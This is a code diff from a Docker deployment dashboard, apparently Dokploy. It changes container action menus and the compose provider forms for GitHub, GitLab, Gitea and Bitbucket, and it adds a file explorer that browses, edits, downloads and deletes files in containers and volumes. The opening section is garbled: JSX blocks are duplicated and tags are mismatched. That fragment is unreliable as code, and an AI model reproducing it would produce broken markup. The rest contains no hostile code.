</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
||||
<DialogTrigger asChild>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
>
|
||||
View Logs
|
||||
</DropdownMenuItem>
|
||||
</DialogTrigger>
|
||||
<ShowContainerConfig
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<ShowContainerMounts
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<ShowContainerNetworks
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<DockerTerminalModal
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
serviceId={serviceId}
|
||||
>
|
||||
Terminal
|
||||
</DockerTerminalModal>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("restart", restartMutation)}
|
||||
>
|
||||
View Logs
|
||||
Restart
|
||||
</DropdownMenuItem>
|
||||
</DialogTrigger>
|
||||
<ShowContainerConfig
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<ShowContainerMounts
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<ShowContainerNetworks
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
/>
|
||||
<DockerTerminalModal
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
serviceId={serviceId}
|
||||
>
|
||||
Terminal
|
||||
</DockerTerminalModal>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("restart", restartMutation)}
|
||||
>
|
||||
Restart
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("start", startMutation)}
|
||||
>
|
||||
Start
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("stop", stopMutation)}
|
||||
>
|
||||
Stop
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer text-red-500 focus:text-red-600"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("kill", killMutation)}
|
||||
>
|
||||
Kill
|
||||
</DropdownMenuItem>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
<DialogContent className="sm:max-w-7xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle>View Logs</DialogTitle>
|
||||
<DialogDescription>Logs for {container.name}</DialogDescription>
|
||||
</DialogHeader>
|
||||
<div className="flex flex-col gap-4 pt-2.5">
|
||||
<DockerLogsId
|
||||
containerId={container.containerId}
|
||||
serverId={serverId}
|
||||
runType="native"
|
||||
serviceId={serviceId}
|
||||
/>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("start", startMutation)}
|
||||
>
|
||||
Start
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("stop", stopMutation)}
|
||||
>
|
||||
Stop
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer text-red-500 focus:text-red-600"
|
||||
disabled={actionLoading !== null}
|
||||
onClick={() => handleAction("kill", killMutation)}
|
||||
>
|
||||
Kill
|
||||
</DropdownMenuItem>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
<DialogContent className="sm:max-w-7xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle>View Logs</DialogTitle>
|
||||
<DialogDescription>Logs for {container.name}</DialogDescription>
|
||||
</DialogHeader>
|
||||
<div className="flex flex-col gap-4 pt-2.5">
|
||||
<DockerLogsId
|
||||
containerId={container.containerId}
|
||||
serverId={serverId}
|
||||
runType="native"
|
||||
serviceId={serviceId}
|
||||
/>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
)}
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
);
|
||||
|
||||
@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
|
||||
)}
|
||||
{canDeploy && (
|
||||
<DialogAction
|
||||
title="Reload Compose"
|
||||
description="Are you sure you want to reload this compose?"
|
||||
title="Rebuild Compose"
|
||||
description="Are you sure you want to rebuild this compose?"
|
||||
type="default"
|
||||
onClick={async () => {
|
||||
await redeploy({
|
||||
composeId: composeId,
|
||||
})
|
||||
.then(() => {
|
||||
toast.success("Compose reloaded successfully");
|
||||
toast.success("Compose rebuilt successfully");
|
||||
refetch();
|
||||
})
|
||||
.catch(() => {
|
||||
toast.error("Error reloading compose");
|
||||
toast.error("Error rebuilding compose");
|
||||
});
|
||||
}}
|
||||
>
|
||||
@@ -109,12 +109,14 @@ export const ComposeActions = ({ composeId }: Props) => {
|
||||
<TooltipTrigger asChild>
|
||||
<div className="flex items-center">
|
||||
<RefreshCcw className="size-4 mr-1" />
|
||||
Reload
|
||||
Rebuild
|
||||
</div>
|
||||
</TooltipTrigger>
|
||||
<TooltipPrimitive.Portal>
|
||||
<TooltipContent sideOffset={5} className="z-60">
|
||||
<p>Reload the compose without rebuilding it</p>
|
||||
<p>
|
||||
Rebuilds the compose without downloading the source code
|
||||
</p>
|
||||
</TooltipContent>
|
||||
</TooltipPrimitive.Portal>
|
||||
</Tooltip>
|
||||
|
||||
+9
-5
@@ -451,14 +451,18 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -506,14 +510,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+9
-5
@@ -251,14 +251,18 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -306,14 +310,14 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+9
-5
@@ -442,14 +442,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -497,14 +501,14 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+22
-8
@@ -47,6 +47,7 @@ import {
|
||||
} from "@/components/ui/tooltip";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { api } from "@/utils/api";
|
||||
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
|
||||
|
||||
const GithubProviderSchema = z.object({
|
||||
composePath: z.string().min(1),
|
||||
@@ -98,6 +99,11 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
const repository = form.watch("repository");
|
||||
const githubId = form.watch("githubId");
|
||||
const triggerType = form.watch("triggerType");
|
||||
|
||||
// Enterprise repositories do not live on github.com.
|
||||
const providerUrl =
|
||||
githubProviders?.find((provider) => provider.githubId === githubId)
|
||||
?.githubUrl ?? DEFAULT_GITHUB_URL;
|
||||
const { data: repositories, isPending: isLoadingRepositories } =
|
||||
api.github.getGithubRepositories.useQuery(
|
||||
{
|
||||
@@ -220,7 +226,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
<FormLabel>Repository</FormLabel>
|
||||
{field.value.owner && field.value.repo && (
|
||||
<Link
|
||||
href={`https://github.com/${field.value.owner}/${field.value.repo}`}
|
||||
href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
|
||||
@@ -432,8 +438,12 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
</TooltipProvider>
|
||||
</div>
|
||||
<Select
|
||||
onValueChange={field.onChange}
|
||||
defaultValue={field.value}
|
||||
onValueChange={(value) => {
|
||||
if (!value) {
|
||||
return;
|
||||
}
|
||||
field.onChange(value);
|
||||
}}
|
||||
value={field.value}
|
||||
>
|
||||
<FormControl>
|
||||
@@ -479,14 +489,18 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -538,14 +552,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+9
-5
@@ -468,14 +468,18 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -523,14 +527,14 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@@ -52,7 +52,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
|
||||
Preview Compose
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-6xl max-h-200">
|
||||
<DialogContent className="sm:max-w-6xl max-h-[85vh] flex flex-col">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Converted Compose</DialogTitle>
|
||||
<DialogDescription>
|
||||
@@ -62,10 +62,6 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
|
||||
</DialogHeader>
|
||||
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
||||
|
||||
<AlertBlock type="info" className="mb-4">
|
||||
Preview your docker-compose file with added domains. Note: At least
|
||||
one domain must be specified for this conversion to take effect.
|
||||
</AlertBlock>
|
||||
{isPending ? (
|
||||
<div className="flex flex-row items-center justify-center min-h-100 border p-4 rounded-md">
|
||||
<Loader2 className="h-8 w-8 text-muted-foreground mb-2 animate-spin" />
|
||||
@@ -79,7 +75,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<div className="flex flex-row gap-2 justify-end my-4">
|
||||
<div className="flex flex-row gap-2 justify-end">
|
||||
<Button
|
||||
variant="secondary"
|
||||
isLoading={isPending}
|
||||
@@ -100,14 +96,15 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
<pre>
|
||||
<div className="flex-1 min-h-0 overflow-auto rounded-md border">
|
||||
<CodeEditor
|
||||
value={compose || ""}
|
||||
language="yaml"
|
||||
readOnly
|
||||
height="50rem"
|
||||
height="100%"
|
||||
wrapperClassName="h-full"
|
||||
/>
|
||||
</pre>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</DialogContent>
|
||||
|
||||
@@ -57,7 +57,7 @@ export const ShowDockerLogsStack = ({
|
||||
},
|
||||
);
|
||||
|
||||
const { data: containers, isPending: containersLoading } =
|
||||
const { data, isPending: containersLoading } =
|
||||
api.docker.getContainersByAppNameMatch.useQuery(
|
||||
{
|
||||
appName,
|
||||
@@ -69,6 +69,8 @@ export const ShowDockerLogsStack = ({
|
||||
},
|
||||
);
|
||||
|
||||
const containers = data?.filter((container) => container.containerId);
|
||||
|
||||
useEffect(() => {
|
||||
if (option === "native") {
|
||||
if (containers && containers?.length > 0) {
|
||||
|
||||
@@ -316,7 +316,7 @@ export const RestoreBackup = ({
|
||||
Restore Backup
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-lg">
|
||||
<DialogContent className="sm:max-w-2xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle className="flex items-center">
|
||||
<RotateCcw className="mr-2 size-4" />
|
||||
|
||||
@@ -0,0 +1,401 @@
|
||||
import {
|
||||
ChevronRight,
|
||||
Download,
|
||||
File,
|
||||
Folder,
|
||||
FolderOpen,
|
||||
Loader2,
|
||||
RefreshCw,
|
||||
Trash2,
|
||||
} from "lucide-react";
|
||||
import { useEffect, useMemo, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
type Props = {
|
||||
serverId?: string;
|
||||
children?: React.ReactNode;
|
||||
asDropdownItem?: boolean;
|
||||
} & (
|
||||
| { containerId: string; volumeName?: undefined }
|
||||
| { volumeName: string; containerId?: undefined }
|
||||
);
|
||||
|
||||
const joinPath = (base: string, name: string) =>
|
||||
base === "/" ? `/${name}` : `${base}/${name}`;
|
||||
|
||||
const decodeBase64 = (base64: string) => {
|
||||
const binary = atob(base64);
|
||||
const bytes = new Uint8Array(binary.length);
|
||||
for (let i = 0; i < binary.length; i++) {
|
||||
bytes[i] = binary.charCodeAt(i);
|
||||
}
|
||||
return bytes;
|
||||
};
|
||||
|
||||
export const FilesExplorerModal = ({
|
||||
containerId,
|
||||
volumeName,
|
||||
serverId,
|
||||
children,
|
||||
asDropdownItem = true,
|
||||
}: Props) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
const [path, setPath] = useState("/");
|
||||
const [selectedFile, setSelectedFile] = useState<string | null>(null);
|
||||
const [editorContent, setEditorContent] = useState("");
|
||||
|
||||
const isVolume = !!volumeName;
|
||||
const utils = api.useUtils();
|
||||
|
||||
const containerEntries = api.docker.listContainerFiles.useQuery(
|
||||
{ containerId: containerId ?? "", path, serverId },
|
||||
{ enabled: open && !isVolume, retry: false },
|
||||
);
|
||||
const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery(
|
||||
{ volumeName: volumeName ?? "", path, serverId },
|
||||
{ enabled: open && isVolume, retry: false },
|
||||
);
|
||||
const {
|
||||
data: entries,
|
||||
isLoading: isLoadingEntries,
|
||||
error: entriesError,
|
||||
refetch: refetchEntries,
|
||||
isRefetching,
|
||||
} = isVolume ? volumeEntries : containerEntries;
|
||||
|
||||
const containerFile = api.docker.readContainerFile.useQuery(
|
||||
{ containerId: containerId ?? "", path: selectedFile ?? "/", serverId },
|
||||
{ enabled: open && !isVolume && !!selectedFile, retry: false },
|
||||
);
|
||||
const volumeFile = api.dockerVolume.readVolumeFile.useQuery(
|
||||
{ volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId },
|
||||
{ enabled: open && isVolume && !!selectedFile, retry: false },
|
||||
);
|
||||
const {
|
||||
data: file,
|
||||
isLoading: isLoadingFile,
|
||||
error: fileError,
|
||||
refetch: refetchFile,
|
||||
} = isVolume ? volumeFile : containerFile;
|
||||
|
||||
const fileBytes = useMemo(
|
||||
() => (file ? decodeBase64(file.content) : null),
|
||||
[file],
|
||||
);
|
||||
const isBinary = useMemo(
|
||||
() => !!fileBytes?.some((byte) => byte === 0),
|
||||
[fileBytes],
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
if (fileBytes && !isBinary) {
|
||||
setEditorContent(new TextDecoder().decode(fileBytes));
|
||||
}
|
||||
}, [fileBytes, isBinary]);
|
||||
|
||||
const writeContainerFile = api.docker.writeContainerFile.useMutation();
|
||||
const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation();
|
||||
const deleteContainerFile = api.docker.deleteContainerFile.useMutation();
|
||||
const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation();
|
||||
|
||||
const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending;
|
||||
const isDeleting =
|
||||
deleteContainerFile.isPending || deleteVolumeFile.isPending;
|
||||
|
||||
const saveFile = async () => {
|
||||
if (!selectedFile) return;
|
||||
try {
|
||||
if (isVolume) {
|
||||
await writeVolumeFile.mutateAsync({
|
||||
volumeName,
|
||||
path: selectedFile,
|
||||
content: editorContent,
|
||||
serverId,
|
||||
});
|
||||
} else {
|
||||
await writeContainerFile.mutateAsync({
|
||||
containerId: containerId ?? "",
|
||||
path: selectedFile,
|
||||
content: editorContent,
|
||||
serverId,
|
||||
});
|
||||
}
|
||||
toast.success("File saved");
|
||||
refetchFile();
|
||||
} catch (error) {
|
||||
toast.error(
|
||||
error instanceof Error ? error.message : "Failed to save file",
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
const deleteEntry = async (entryPath: string) => {
|
||||
try {
|
||||
if (isVolume) {
|
||||
await deleteVolumeFile.mutateAsync({
|
||||
volumeName,
|
||||
path: entryPath,
|
||||
serverId,
|
||||
});
|
||||
await utils.dockerVolume.listVolumeFiles.invalidate();
|
||||
} else {
|
||||
await deleteContainerFile.mutateAsync({
|
||||
containerId: containerId ?? "",
|
||||
path: entryPath,
|
||||
serverId,
|
||||
});
|
||||
await utils.docker.listContainerFiles.invalidate();
|
||||
}
|
||||
toast.success("Deleted");
|
||||
if (selectedFile === entryPath) {
|
||||
setSelectedFile(null);
|
||||
}
|
||||
} catch (error) {
|
||||
toast.error(error instanceof Error ? error.message : "Failed to delete");
|
||||
}
|
||||
};
|
||||
|
||||
const breadcrumbs = path.split("/").filter(Boolean);
|
||||
|
||||
const navigate = (nextPath: string) => {
|
||||
setPath(nextPath);
|
||||
setSelectedFile(null);
|
||||
};
|
||||
|
||||
const handleOpenChange = (value: boolean) => {
|
||||
setOpen(value);
|
||||
if (!value) {
|
||||
setPath("/");
|
||||
setSelectedFile(null);
|
||||
setEditorContent("");
|
||||
}
|
||||
};
|
||||
|
||||
const downloadFile = () => {
|
||||
if (!fileBytes || !selectedFile) return;
|
||||
const blob = new Blob([fileBytes]);
|
||||
const url = URL.createObjectURL(blob);
|
||||
const anchor = document.createElement("a");
|
||||
anchor.href = url;
|
||||
anchor.download = selectedFile.split("/").pop() ?? "file";
|
||||
anchor.click();
|
||||
URL.revokeObjectURL(url);
|
||||
};
|
||||
|
||||
return (
|
||||
<Dialog open={open} onOpenChange={handleOpenChange}>
|
||||
<DialogTrigger asChild>
|
||||
{asDropdownItem ? (
|
||||
<DropdownMenuItem
|
||||
className="w-full cursor-pointer space-x-3"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
>
|
||||
{children}
|
||||
</DropdownMenuItem>
|
||||
) : (
|
||||
children
|
||||
)}
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-6xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle className="flex items-center gap-2">
|
||||
<FolderOpen className="size-5" />
|
||||
{isVolume ? "Volume Files" : "Container Files"}
|
||||
</DialogTitle>
|
||||
<DialogDescription>
|
||||
{isVolume
|
||||
? `Browse and edit files inside the "${volumeName}" volume`
|
||||
: "Browse and edit files inside the container's filesystem"}
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
|
||||
<div className="flex items-center gap-1 text-sm font-mono flex-wrap">
|
||||
<button
|
||||
type="button"
|
||||
className="hover:underline text-muted-foreground"
|
||||
onClick={() => navigate("/")}
|
||||
>
|
||||
/
|
||||
</button>
|
||||
{breadcrumbs.map((segment, index) => (
|
||||
<span
|
||||
key={`/${breadcrumbs.slice(0, index + 1).join("/")}`}
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
className="hover:underline text-muted-foreground"
|
||||
onClick={() =>
|
||||
navigate(`/${breadcrumbs.slice(0, index + 1).join("/")}`)
|
||||
}
|
||||
>
|
||||
{segment}
|
||||
</button>
|
||||
{index < breadcrumbs.length - 1 && (
|
||||
<ChevronRight className="size-3 text-muted-foreground" />
|
||||
)}
|
||||
</span>
|
||||
))}
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="ml-auto size-7"
|
||||
onClick={() => refetchEntries()}
|
||||
>
|
||||
<RefreshCw
|
||||
className={`size-4 ${isRefetching ? "animate-spin" : ""}`}
|
||||
/>
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
<div className="flex gap-4 min-h-[55vh] max-h-[65vh]">
|
||||
<div className="w-72 shrink-0 border rounded-lg overflow-y-auto">
|
||||
{isLoadingEntries ? (
|
||||
<div className="flex h-full items-center justify-center gap-2 text-sm text-muted-foreground p-4">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : entriesError ? (
|
||||
<div className="p-3">
|
||||
<AlertBlock type="error">{entriesError.message}</AlertBlock>
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex flex-col p-1">
|
||||
{path !== "/" && (
|
||||
<button
|
||||
type="button"
|
||||
className="flex items-center gap-2 rounded-md px-2 py-1.5 text-sm hover:bg-muted text-left"
|
||||
onClick={() =>
|
||||
navigate(`/${breadcrumbs.slice(0, -1).join("/")}` || "/")
|
||||
}
|
||||
>
|
||||
<Folder className="size-4 shrink-0 text-muted-foreground" />
|
||||
..
|
||||
</button>
|
||||
)}
|
||||
{entries?.length === 0 && (
|
||||
<span className="px-2 py-1.5 text-sm text-muted-foreground">
|
||||
Empty directory
|
||||
</span>
|
||||
)}
|
||||
{entries?.map((entry) => {
|
||||
const entryPath = joinPath(path, entry.name);
|
||||
return (
|
||||
<div
|
||||
key={entry.name}
|
||||
className={`group flex items-center rounded-md hover:bg-muted ${
|
||||
selectedFile === entryPath ? "bg-muted" : ""
|
||||
}`}
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
className="flex flex-1 items-center gap-2 px-2 py-1.5 text-sm text-left min-w-0"
|
||||
onClick={() =>
|
||||
entry.isDirectory
|
||||
? navigate(entryPath)
|
||||
: setSelectedFile(entryPath)
|
||||
}
|
||||
>
|
||||
{entry.isDirectory ? (
|
||||
<Folder className="size-4 shrink-0 text-muted-foreground" />
|
||||
) : (
|
||||
<File className="size-4 shrink-0 text-muted-foreground" />
|
||||
)}
|
||||
<span className="truncate">{entry.name}</span>
|
||||
</button>
|
||||
<DialogAction
|
||||
title={`Delete ${entry.name}?`}
|
||||
description={`This will permanently delete ${entryPath}${entry.isDirectory ? " and all its contents" : ""}.`}
|
||||
onClick={() => deleteEntry(entryPath)}
|
||||
>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="size-7 opacity-0 group-hover:opacity-100 shrink-0"
|
||||
isLoading={isDeleting}
|
||||
>
|
||||
<Trash2 className="size-3.5 text-destructive" />
|
||||
</Button>
|
||||
</DialogAction>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="flex-1 min-w-0 flex flex-col gap-2">
|
||||
{!selectedFile ? (
|
||||
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
|
||||
Select a file to view or edit it
|
||||
</div>
|
||||
) : isLoadingFile ? (
|
||||
<div className="flex flex-1 items-center justify-center gap-2 text-sm text-muted-foreground rounded-lg border">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : fileError ? (
|
||||
<AlertBlock type="error">{fileError.message}</AlertBlock>
|
||||
) : (
|
||||
<>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-sm font-mono truncate text-muted-foreground">
|
||||
{selectedFile}
|
||||
</span>
|
||||
<div className="ml-auto flex items-center gap-2">
|
||||
<Button variant="outline" size="sm" onClick={downloadFile}>
|
||||
<Download className="size-4" />
|
||||
Download
|
||||
</Button>
|
||||
<Button
|
||||
size="sm"
|
||||
isLoading={isSaving}
|
||||
disabled={isBinary || file?.truncated}
|
||||
onClick={saveFile}
|
||||
>
|
||||
Save
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
{file?.truncated ? (
|
||||
<AlertBlock type="warning">
|
||||
This file is larger than 512KB. Showing a truncated preview;
|
||||
editing is disabled. Use Download to get the truncated
|
||||
content or the terminal for full access.
|
||||
</AlertBlock>
|
||||
) : isBinary ? (
|
||||
